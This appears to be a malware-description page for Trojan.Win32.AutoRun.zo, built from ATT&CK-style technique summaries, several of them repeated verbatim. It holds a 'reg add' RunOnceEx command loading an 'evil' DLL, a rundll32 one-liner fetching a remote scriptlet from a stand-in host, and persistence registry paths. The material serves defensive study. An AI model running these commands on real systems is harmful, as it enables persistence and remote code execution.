Trojan.Win32.AutoRun.zo

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media’s firmware itself.

Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).

Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API).

Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.

The Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017)

The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows Native API which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL)

An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.

Adversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs)

While Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user’s desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.

Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service’s executable or recovery programs/commands, is stored in the Windows Registry.

Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.

Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via Native API functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as “Bring Your Own Vulnerable Driver” (BYOVD)) as part of Exploitation for Privilege Escalation.(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)

Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution. To make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component).

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the “run keys” in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account’s associated permissions level.

The following run keys are created by default on Windows systems:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a “Depend” key with RunOnceEx: reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001Depend /v 1 /d "C:tempevil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:Users\[Username]AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup. The startup folder path for all users is C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp.

The following Registry keys can be used to set startup folder items for persistence:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders

* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerShell Folders

* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerUser Shell Folders

The following Registry keys can control automatic startup of services during boot:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun

Programs listed in the load value of the registry key HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows run automatically for the currently logged-on user.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)

Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.

Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service’s executable or recovery programs/commands, is stored in the Windows Registry.

Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.

Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via Native API functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as “Bring Your Own Vulnerable Driver” (BYOVD)) as part of Exploitation for Privilege Escalation.(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)

Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution. To make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component).

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the “run keys” in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account’s associated permissions level.

The following run keys are created by default on Windows systems:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a “Depend” key with RunOnceEx: reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001Depend /v 1 /d "C:tempevil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:Users\[Username]AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup. The startup folder path for all users is C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp.

The following Registry keys can be used to set startup folder items for persistence:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders

* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerShell Folders

* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerUser Shell Folders

The following Registry keys can control automatic startup of services during boot:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun

Programs listed in the load value of the registry key HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows run automatically for the currently logged-on user.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.

Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.(Citation: LOLBAS Main Site) Masquerading may also include the use of Proxy or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections.

Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.

Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)

Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.

Adversaries may also use the same icon of the file they are trying to mimic.

Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary’s footprint.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in Command and Scripting Interpreter functions include del on Windows and rm or unlink on Linux and macOS.

Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.

Timestomping may be used along with file name Masquerading to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)

Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.

Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.

Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)

The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system’s SMB/Windows Admin Shares for RPC communication.

Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)

Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.

Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. Port Knocking), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

On network devices, adversaries may use crafted packets to enable Network Device Authentication for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant – Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage Patch System Image due to the monolithic nature of the architecture.

Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer – Ryuk WoL)(Citation: AMD Magic Packet)

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Windows Management Instrumentation, PowerShell, System Information Discovery, and Query Registry to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment.

Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.

Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.

Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)

Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).

On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.

Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.

Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.

Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.

Adversaries may also leverage a Network Device CLI on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. show ip route, show ip interface).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )

Adversaries may use the information from System Network Configuration Discovery during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary’s goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.

Utilities and commands that acquire this information include netstat, “net use,” and “net session” with Net. In Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to “net session”. Additionally, built-in features native to network devices and Network Device CLI may be used (e.g. show ip sockets, show tcp brief).(Citation: US-CERT-TA18-106A)

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Windows Management Instrumentation, PowerShell, System Information Discovery, and Query Registry to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment.

Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.

Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.

Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media’s firmware itself.

Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).

Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as HTTP/S(Citation: CrowdStrike Putter Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware’s communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.

Adversaries may use dynamic resolution for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)

Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.

The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.